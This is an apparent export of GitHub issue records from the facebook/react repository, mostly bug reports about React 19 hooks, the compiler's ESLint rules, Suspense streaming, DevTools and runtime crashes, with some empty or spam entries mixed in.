https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAsgJ4DCEAtgA6EKY4AUtMEtYAlEcADrEiUMAgCiaNAlzNmPALwA+XgKKqiaCBFkBuFUQC+XXYID0J9VlwFiAEykAbAIYxH+QmCLOERBBKn4ANwR7Mk8cIhwAC28cDiIINAjoojA4DgQ9DGw3Yg0tHmADIj0YBBxYYkwoe3tjfQEQABoQNMw0PABzFBA8OggYcJwyWm9CgAV7KA68TAB5WhyPfXV2aiIAcgAjR03ggFpaSenMPdLHXD20ujx7BBgTGzwwHHXjAWZ+UxMr2hvXaxIEDsyGKIEcNT4IAEyzA-zA7QQHgmUxm80WRia4EiEAA7gBJJh3TDgsAoNAkhD6IA

### Repro steps

eslint rule `react-hooks/immutability` ignores [function hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#function_hoisting). This
```
function MyComponent(props) {
  useEffect(() => {
    foo();
  });
  // function declarations are effectively at the top of the scope
  function foo() { } 
  return null;
}
```
should not cause error
```
Error: Cannot access variable before it is declared

`foo` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.
```

### How often does this bug happen?

Every time

### What version of React are you using?

19.2

### Wha... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-12-12T12:09:38Z,2025-12-12T22:25:01Z,2
facebook/react,3712764350,Bug: Server Components error when directly rendering a Context,"A Server Component that renders `<Context>` directly will result in a runtime error:

> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function.

[Here's the minimum repro](https://github.com/samselikoff/2025-12-09-render-context-from-rsc):

```tsx
import { Context } from './context';

export default function Home() {
  return <Context value={2}>hello</Context>;
}
```

```tsx
// context.tsx
'use client';

import { createContext } from 'react';

export const Context = createContext(1);
```


React version: 19.3.0-canary-378973b3-20251205

Link to code example:

https://github.com/samselikoff/2025-12-09-render-context-from-rsc

## The current behavior

Renders without error

## The expected behavior

Errors with

> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function.",Status: Unconfirmed,2025-12-09T21:46:08Z,2026-02-03T15:23:04Z,2
facebook/react,3710652146,Bug: ViewTransition with enter/exit hard-crashes iOS Safari,"I'm experiencing an iOS-only crash (iOS 26.1) when there's `ViewTransition` with `enter` and another with `exit`:

```js
import { Suspense, use } from ""react"";
import { ViewTransition } from ""react"";
import ""./App.css"";

const promise = new Promise((r) => setTimeout(() => r(""Done""), 3000));

function Content() {
  return <div>{use(promise)}</div>;
}

export default function App() {
  return (
    <Suspense
      fallback={
        <ViewTransition exit=""vt-reveal"">
          <div>Loading...</div>
        </ViewTransition>
      }
    >
      <ViewTransition enter=""vt-reveal"">
        <Content />
      </ViewTransition>
    </Suspense>
  );
}
```

```css
::view-transition-old(.vt-reveal) {
  animation: 300ms ease-out both vt-out;
}
::view-transition-new(.vt-reveal) {
  animation: 300ms ease-out both vt-in;
}
@keyframes vt-out {
  to {
    opacity: 0;
  }
}
@keyframes vt-in {
  from {
    opacity: 0;
  }
}
```

This is a hard crash, meaning the browser tab literally dies.

Sandbox: https://codesandbox.io/p/sandbox/gns365?file=%2Fsrc%2FApp.js","Type: Bug,Browser: Safari",2025-12-09T12:25:51Z,2025-12-17T03:47:25Z,6
facebook/react,3707749012,Bug: Suspense fallback streaming not working without html/body/head components,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
Suspense fallback is not rendered during SSR when the root component lacks top-level `<html>`, `<head>`, or `<body>` tags. The server buffers the entire response until all suspended promises resolve, preventing streaming and the rendering of the initial fallback content.

This behavior impacts a use case where the React component is rendered as a sub-tree to be integrated into a larger application that uses a different framework.

This [commit](https://github.com/facebook/react/commit/b25bcd460f98a0b89e5a7199a6c88112163d961f) introduced this behavior change in the streaming logic where it worked in 19.0.0.

React version: 19.1-19.2

## Steps To Reproduce

1. Access https://3c4mqn-8080.csb.app/no-streaming

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https:/... [TRUNCATED]",Status: Unconfirmed,2025-12-08T19:35:07Z,2026-01-02T17:51:04Z,1
facebook/react,3705922607,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-08T11:24:48Z,2025-12-09T16:04:41Z,0
facebook/react,3704999581,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

. Thank you for helping us make this chatbot experience better!

### Repro steps

4575490200340206

### How often does this bug happen?

Every time

### What version of React are you using?

10000$

### What version of React Compiler are you using?

4575490200340206","Type: Bug,Status: Unconfirmed",2025-12-08T07:21:29Z,2025-12-09T16:04:55Z,0
facebook/react,3704579373,"Bug: React DevTools shows different versions (Stable vs. Canary) for Page/App Router in Next.js, potentially indicating an unpatched security risk (19.2.0-canary vs 19.2.1)","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: react 19.1.2 / next 15.3.6

## Steps To Reproduce

1.  Set up a Next.js project with both App Router and Page Router enabled.
2. Set react and react-dom versions to 19.1.2 in package.json and run pnpm install
3. Create a page based on the Page Router
4. Create a page based on the App Router
5. Open React DevTools.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
React DevTools displays 19.2.0-canary on App Router pages.

## The expected behavior
React DevTools should display 19.1.2 on App Router pages, consistent with the Page Router and the stable React version specified in the project's package.json.

Furthermore, since version 19.2.0 (or its corresponding... [TRUNCATED]",Status: Unconfirmed,2025-12-08T04:20:00Z,2025-12-08T05:18:22Z,2
facebook/react,3700671003,Bug: Facebook account nakalimutan ko pano maopen ang aking account,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-06T00:01:33Z,2025-12-06T01:00:15Z,0
facebook/react,3700190212,ASDF,asfdgdhd,,2025-12-05T19:56:51Z,2025-12-05T21:11:24Z,0
facebook/react,3700153266,Render,ssagfsashg,,2025-12-05T19:41:43Z,2025-12-05T21:11:19Z,0
facebook/react,3700121665,Bug : Component not rendering,Issue while rendering components.,,2025-12-05T19:30:06Z,2025-12-09T16:05:07Z,1
facebook/react,3699133690,Bug: Forms are reset when action fails,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.1

## Steps To Reproduce

1. Enter some text into the input and submit. The action will fail.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/devbox/funny-jang-3zj83m?file=%2Fsrc%2Findex.js%3A7%2C4&workspaceId=ws_4qKVDKGuRrrvd8oLfoRWSz

## The current behavior

The form is reset.

## The expected behavior

The form is not reset when the action fails. [The docs](https://react.dev/reference/react-dom/components/form#handle-form-submission-on-the-client:~:text=After%20the%20action%20function%20succeeds%2C%20all%20uncontrolled%20field%20elements%20in%20the%20form%20are%20reset.) suggest that reset should only happen when the action is successful:

> After the action function succeeds, all uncontrolled field elements in the form are reset.


Related: https://github.com/facebook/react/issues/29034",Status: Unconfirmed,2025-12-05T14:11:37Z,2025-12-19T09:04:08Z,1
facebook/react,3697056626,Bug: set-state-in-use-effect false negative when there are multiple instances,"This code correctly produces a lint error:

```tsx
function MyComponent() {
    const [loading, setLoading] = useState(false);
    useEffect(() => {
        setLoading(true);  // ✅ ESLint correctly flags this (1 error)
    }, []);
    // commented out code...
    return null;
}
```

But this code does not:

```tsx
function MyComponent() {
    const [loading, setLoading] = useState(false);
    useEffect(() => {
        setLoading(true);  // ❌ BUG: Error no longer reported (should still be flagged!)
    }, []);
    const [firstName, setFirstName] = useState<string>('');
    const [lastName, setLastName] = useState<string>('');
    const [fullName, setFullName] = useState<string>('');
    useEffect(() => {
        setFullName(`${firstName} ${lastName}`);  // ❌ BUG: Also not reported
    }, [firstName, lastName]);
    return null;
}
```

React version: `^19.2.1`

## Steps To Reproduce

Created a minimal reproduction repo: https://github.com/roryabraham/set-state-in-effect-bug

## The current behavior
In the second code snippet provided, no lint errors are thrown.

## The expected behavior
Lint errors should be thrown for both `setState` calls in `useEffect` callbacks.","Status: Unconfirmed,Component: React Compiler,Resolution: Needs More Information",2025-12-05T00:26:04Z,2025-12-06T19:30:56Z,4
facebook/react,3694075418,.,.,Status: Unconfirmed,2025-12-04T11:01:25Z,2025-12-04T11:27:53Z,0
facebook/react,3692477988,"Bug: eslint-plugin-react-hooks not throwing ""Hooks may not be referenced as normal values"" error","React version: 19.2.

## Steps To Reproduce

1. The expected behavior screenshot shows when my repo had eslint-plugin-react-compiler@beta and eslint-plugin-react-hooks@4.6.2 installed. [Per the React Compiler v1.0 announcement](https://react.dev/blog/2025/10/07/react-compiler-1#migrating-from-eslint-plugin-react-compiler-to-eslint-plugin-react-hooks), I removed eslint-plugin-react-compiler, bumped eslint-plugin-react-hooks to the latest version (7.0.1), and made the eslint config changes accordingly. All other rules, including the new ones, seem to work as expected, except this one seems to have disappeared (I only noticed because our codebase has many instances of this that we've been planning to fix at some point before enabling the compiler). Is this a bug or is this no longer meant to throw a lint error, since it does [explicitly break the rules of React](https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values) ? 

## The current behavior
<img width=""898"" height=""317"" alt=""Image"" src=""https://github.com/user-attachments/assets/90110fe0-a571-4aee-b863-4e7968dc9b1b"" />

## The expected behavior
<img width=""898"" height=""317"" alt=""Image"" src=""https://github.com/user-attachments/assets/1ca533cf-44ce-42d5-a8b1-25760123173b"" />","Status: Unconfirmed,Resolution: Stale",2025-12-04T01:33:51Z,2026-04-12T00:40:29Z,4
facebook/react,3690531416,Bug: react-hooks/set-state-in-effect: false-positive with ternary,"React version: react@19.2.0, eslint-plugin-react-hooks@7.0.1

## Steps To Reproduce

```tsx
function getWidth(el: HTMLElement) {
  return el.clientWidth;
}

function Component({value}: {value: string}) {
  const [width, setWidth] = useState(0);
  const ref = useRef<HTMLDivElement>(null);

  useEffect(() => {
    setWidth(ref.current ? getWidth(ref.current) : 0);
//  ^^^^^^^^^^^^ Avoid calling setState() directly within an effect
  }, [value]);

  return <div ref={ref}>{value}{width}</div>;
}
```

Changing the line to `setWidth(getWidth(ref.current));` makes the error go away, so it seems the presence of the ternary operator is confusing the rule.

## The current behavior

Error is raised.


## The expected behavior

No error to be raised.
","Status: Unconfirmed,Resolution: Stale",2025-12-03T14:40:30Z,2026-06-17T13:39:17Z,11
facebook/react,3688461664,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2025-12-03T04:23:28Z,2025-12-04T05:13:15Z,0
facebook/react,3688458655,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2025-12-03T04:22:03Z,2025-12-04T05:13:11Z,0
facebook/react,3688353608,Bug: `progressiveChunkSize` forcing streaming SSR breaks html file integrity and `onAllReady` behavior,"React version: 19.2.0


## Steps To Reproduce

```tsx
// App.tsx
<div className=""rp-doc rspress-doc"">
  <Suspense>
    <MyComp />
  </Suspense>
</div>
```

```ts
function renderToHtml(app: ReactNode): Promise<string> {
  return new Promise((resolve, reject) => {
    const passThrough = new PassThrough();
    const { pipe } = renderToPipeableStream(app, {
      onError(error) {
        reject(error);
      },
      onAllReady() {
        pipe(passThrough);
        text(passThrough).then(resolve, reject);
      },
    });
  });
}
```

related APIs:

`renderToPipeableStream`  `prerenderToNodeStream` etc

## react 19.1.1

```html
<main class=""rp-doc-layout__doc-container"">
  <div class=""rp-doc rspress-doc"">
     <h1>title</h1>
   </div>
</main>
```

`.rspress-doc > h1` works fine


## react 19.2.0

If the article content is very long, it exceeds the chunkSize set by React.

```html
<main class=""rp-doc-layout__doc-container"">
  <div class=""rp-doc rspress-doc""><!--$?--><template id=""B:0""></template><!--/$--></div>
</main>

<script>requestAnimationFrame(function () { $RT = performance.now() });</script>
<div hidden id=""S:0"">
  <h1>title</h1>
</div>
```

`.rspress-doc > h1` 🤕



## Related links

- https://github.com/web-infra-dev/rspress/pull/2831

- https://github.com/facebook/react/pull/33027

- https://github.com/facebook/react/pull/33027#issuecomment-3403958008

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a m... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-03T03:26:58Z,2026-03-10T05:23:35Z,2
facebook/react,3681604633,`react-hooks/rules-of-hooks` false positives inside class instances (not class components),"We use classes to organize our code, and the eslint rule `react-hooks/rules-of-hooks` always warns about hooks not being usable inside class components, regardless if the class is a component.

### Reproduction

```js
class Store {
  use() {
    return React.useState(4)
  }
}
```",Status: Unconfirmed,2025-12-01T15:40:41Z,2026-03-04T05:00:20Z,5
facebook/react,3681281267,Bug: fabric completeRoot called for suspended comp. w/ same tree output,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.3 (latest main)

## Steps To Reproduce

1. Checkout the test case in this PR: https://github.com/facebook/react/pull/35262

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/facebook/react/pull/35262

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

I noticed that when we suspend a component in fabric react and in that component a state update occurs, that we still will call completeRoot.

This has performance implications, as completeRoot will call into c++ and invoke ShadowTree::commit in react-native.

I think that when a suspended component has a state update and we still show the very same fallback component, then there should be no completeRoot call, as technically, nothing has ch... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-01T14:30:44Z,2026-06-07T10:48:32Z,4
facebook/react,3680719189,Bug: React 19.2 doesn't seem to have useEffectEvent :(,"React 19.2 doesn't seem to have useEffectEvent :( 

<img width=""830"" height=""715"" alt=""Image"" src=""https://github.com/user-attachments/assets/03a370be-beba-4e1b-a747-67bd73d45ff4"" />

React version:

19.2.0

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-01T12:13:57Z,2025-12-01T14:35:21Z,4
facebook/react,3680400230,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-01T10:48:55Z,2025-12-01T10:49:25Z,0
facebook/react,3675378444,"[DevTools Bug]: Internal state change in cousin component causing a ""re-render"" in another cousin component wrapped inside parent divs.","### Website or app

https://github.com/mukesharyal/react-devtools-bug-report

### Repro steps

1. Clone the GitHub repo and run `npm install`
2. Run the local dev server with `npm run dev` and also run React Devtools
3. You will see two components `ComponentA` and `ComponentB`
4. Cause a re-render of `ComponentA` by clicking the button a bunch of times
5. `ComponentB` will also be shown in the component render highlights and `Profiler` sessions

The structure of `App` component looks like this:

```
import ComponentA from './components/ComponentA';
import ComponentB from './components/ComponentB';

function App() {

	return(

		<div>
			<div>
				<ComponentA />
			</div>

			

			<div>
				<ComponentB />
			</div>
		</div>
	);

}

export default App;
```

This is what `ComponentA` looks like:

```
import { useState } from ""react"";

export default function ComponentA()
{
    console.log(""Component A rendered!"");

    const [count, setCount] = useState(0);

    return(
        
        <>
            <h1>
                Component A
            </h1>
               
            <h2>
                Count is {count}
            </h2>

            <button onClick={() => { setCount(count => count + 1) }}>
                Increase Count
            </button>
        </>
    )
}
```

And here is `ComponentB`:

```
export default function ComponentB()
{
    console.log(""Component B rendered!"");

    return(
        <>
            <h1>
                Component B
            </h1>
   ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-28T16:15:34Z,2026-02-09T23:19:54Z,4
facebook/react,3675220191,[DevTools Bug]: Internal state change in a cousin component causing a Profiler re-render in another cousin component wrapped inside parent divs.,"### Website or app

https://github.com/mukesharyal/react-devtools-bug-report

### Repro steps

Steps for reproduction:
1. Clone the GitHub repo.
2. Run the dev server and open React Devtools.
3. You will see two components `ComponentA` and `ComponentB`.
4. Cause a re-render of `ComponentA` by clicking the button.
5. `ComponentB` will also be highlighted as being re-rendered and can also be seen in a Profiler session.

`ComponentA` and `ComponentB` are wrapped inside of two `div`s in the `App` component like this:


 function App() {

	return(

		<div>
			<div>
				<ComponentA />
			</div>

			

			<div>
				<ComponentB />
			</div>
		</div>
	);

}

export default App;
`

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-28T15:09:57Z,2025-11-28T15:46:40Z,1
facebook/react,3675214385,Bug: Should have a queue. This is likely a bug in React,"<!--
I upgraded me react native app from 0.73.8 to 0.77.3 and as soon as I run app I get this error ""Should have a queue. This is likely a bug in React. Please file an issue""
-->

React version: 18.3.1

## Steps To Reproduce

1. Run react native app with RN 0.77.3 and react 18.3.1
2. First thing that shows is the error

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

App shows errors once it's built


## The expected behavior

App should run without any errors
","Status: Unconfirmed,Resolution: Stale",2025-11-28T15:07:45Z,2026-03-09T10:19:32Z,3
facebook/react,3673903585,Bug: `useActionState`'s second argument is not optional in the React types,"React version: 19.2

## Steps To Reproduce

1. `useActionState(action)` currently throws a type error.

## The current behavior

I'm building a library that makes use of React Actions for mutations. There is no need to pass an initial state variable for `useActionState`. An ""implicit undefined"" initial state is perfectly fine and saves people from typing 6 characters each time.

When I omit the second argument, React appears to be working just fine. However, `@types/react` expects the second argument to be provided. Can we make it optional or is there a reason to keep it required?

## The expected behavior

`useActionState(action)` should not throw a type error.


I submitted a PR for `@types/react` here: https://github.com/DefinitelyTyped/DefinitelyTyped/pull/74156","Status: Unconfirmed,Resolution: Stale",2025-11-28T07:26:15Z,2026-03-07T03:42:30Z,5
facebook/react,3672680732,"Bug: Compiler, group memoisation","The compiler seems to mix dependency in some condition and nest block incorrectly.

React version: 19.2
Issue demo : [React Compiler Playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPGQBLUPIskWz8ByEJxuQahTzPGTyWyOoJoarnLT6Yy2Cy2ZzuWctR4hdxzvgntL3XLqeSlTkKaj0eJoSAlCAxoV-igQEx8TgCLhOJgECJ8AAFShQf6TADyBJYeXw+wKMAghoA5DSyDSEJQALSYMsVujd0pkRjdqT4oolcmomQtxwwuj8O7Ocnk8eYIqWWvsCDEZD4UQgMiUSiHhOqLdgQoIMAl-tVmvSBxJ8BAiAAdxFGrox7AKHIlBqPsQA)

## Steps To Reproduce

1. I create a component with 2 states that won't interact, and array and a counter ([React Compiler Playground Link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPG... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-27T18:35:09Z,2026-06-03T09:42:00Z,4
facebook/react,3669883101,Bug: Build of `react-dom` hangs on Deno runtime,"
React version: 19.2.0

## Steps To Reproduce

1. clone https://github.com/Yovach/deno-tanstack-start-bug-reproduction
2. deno install
3. deno task build


## The current behavior

It's hanging forever.

## The expected behavior

Not hanging on `deno task build`


## Context

I've been investigating the vite build hanging issue in Deno and found the root cause. https://github.com/denoland/deno/issues/31248

Seems that `react-dom` package.json maps Deno to use the browser bundle (`server.browser.js`) instead of the node bundle. The browser bundle creates a MessageChannel for task scheduling, and this MessageChannel keeps Deno's process alive forever, causing the hang.
Runtime mappings:
  • Node.js → uses `setImmediate` from server.node.js (doesn't block exit) :white_check_mark:
  • Bun → uses `queueMicrotask` from server.bun.js (doesn't block exit) :white_check_mark:
  • Deno → uses `MessageChannel` from server.browser.js (blocks exit forever) :x:

## Solutions

Changing the ""deno"" mapping from `""./server.browser.js""` to `""./server.node.js""` at `node_modules/.deno/react-dom@19.2.0/node_modules/react-dom/package.json` fixed the hang.

I also tested changing the bun bundler to use server.browser.js, to have sure that this is the problem, and it hangs for bun too.

I talked with the Deno CLI team, and we decided to create this issue to check if make sense have a new bundle for Deno. For some reason, seems that solution was rejected in the past (https://github.com/facebook/react/p... [TRUNCATED]",Status: Unconfirmed,2025-11-27T05:08:45Z,2025-12-04T05:50:28Z,1
facebook/react,3667589924,Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-26T13:44:17Z,2026-03-12T14:21:09Z,5
facebook/react,3666930111,Title: Fix minor typo/formatting inconsistency in React documentation/component code comment,"Description:
There are a few places in the docs or code comments where:

grammar is slightly inconsistent

code snippets are missing semicolons

indentation varies

markdown headings spacing is inconsistent

Reporting one specific typo or formatting inconsistency is a valid issue. Maintainers appreciate these clean-ups.
Example content:

In the “Concurrent Rendering” docs, the phrase “…when React need to yield…” should be “…needs to yield…”.

Why it's valid:
Docs and code comments must be clean and error-free; maintainers welcome such contributions.","Status: Unconfirmed,Resolution: Stale",2025-11-26T10:42:57Z,2026-03-03T12:15:12Z,2
facebook/react,3666927950,dd example usage of useDeferredValue in React Docs,"Description:
The current React documentation briefly explains useDeferredValue but lacks a clear, practical example showing how it improves UI responsiveness during heavy re-renders.
A small example (e.g., search filter with a large list) would help beginners understand the hook better.

Why it's valid:
React maintainers often accept documentation-related issues because clear examples help developers learn API features.","Status: Unconfirmed,Resolution: Stale",2025-11-26T10:42:13Z,2026-03-03T12:15:14Z,2
facebook/react,3666918222,Bug: Suspense fallback re-renders excessively during slow network responses,"### Description
When using `React.Suspense` with a fallback component, the fallback is being
re-rendered multiple times during slow network requests. This causes unnecessary
UI flickering and increased component load, especially on low-performance devices.

### Steps to Reproduce
1. Wrap a lazy-loaded component inside <Suspense fallback={<Spinner />}>.
2. Simulate a slow network response (2–5 seconds delay).
3. Observe multiple re-renders of the fallback UI in the console.

### Expected Behavior
The fallback component should ideally render once and remain stable until the
lazy component resolves.

### Actual Behavior
The fallback re-renders several times durin
","Status: Unconfirmed,Resolution: Stale",2025-11-26T10:39:11Z,2026-03-04T14:17:37Z,4
facebook/react,3666906911,Bug:,"### Description
I observed that the cleanup function inside `useEffect` does not always trigger when
there are rapid, consecutive state updates. This leads to stale subscriptions and
unexpected behavior in components that rely on cleanup.

### Steps to Reproduce
1. Create a component with a useEffect that logs cleanup.
2. Trigger state updates inside a loop or with very small intervals (5–10ms).
3. Observe that cleanup logs are skipped or delayed.

### Expected Behavior
Cleanup should run reliably before every re-invocation of the effect, regardless of
how fast state is updated.

### Actual Behavior
Cleanup is inconsistently triggered during extremely fast re-renders.

### Version
- React: Latest main branch
- Environment: Browser (Chrome/Edge)
- OS: Windows 10 / macOS (tested both)

### Additional Info
Issue seems more noticeable in strict mode, possibly due to double rendering behavior.
","Status: Unconfirmed,Resolution: Stale",2025-11-26T10:35:40Z,2026-03-03T12:15:16Z,3
facebook/react,3666880619,Bug: useState hook not updating state correctly in async functions,"## Bug Description
When using useState hook inside an async function, the state doesn't update correctly after awaiting a promise.

## Steps To Reproduce
1. Create a component with useState
2. Create an async function that awaits a promise
3. Try to update state after the await
4. State shows stale value

## Expected Behavior
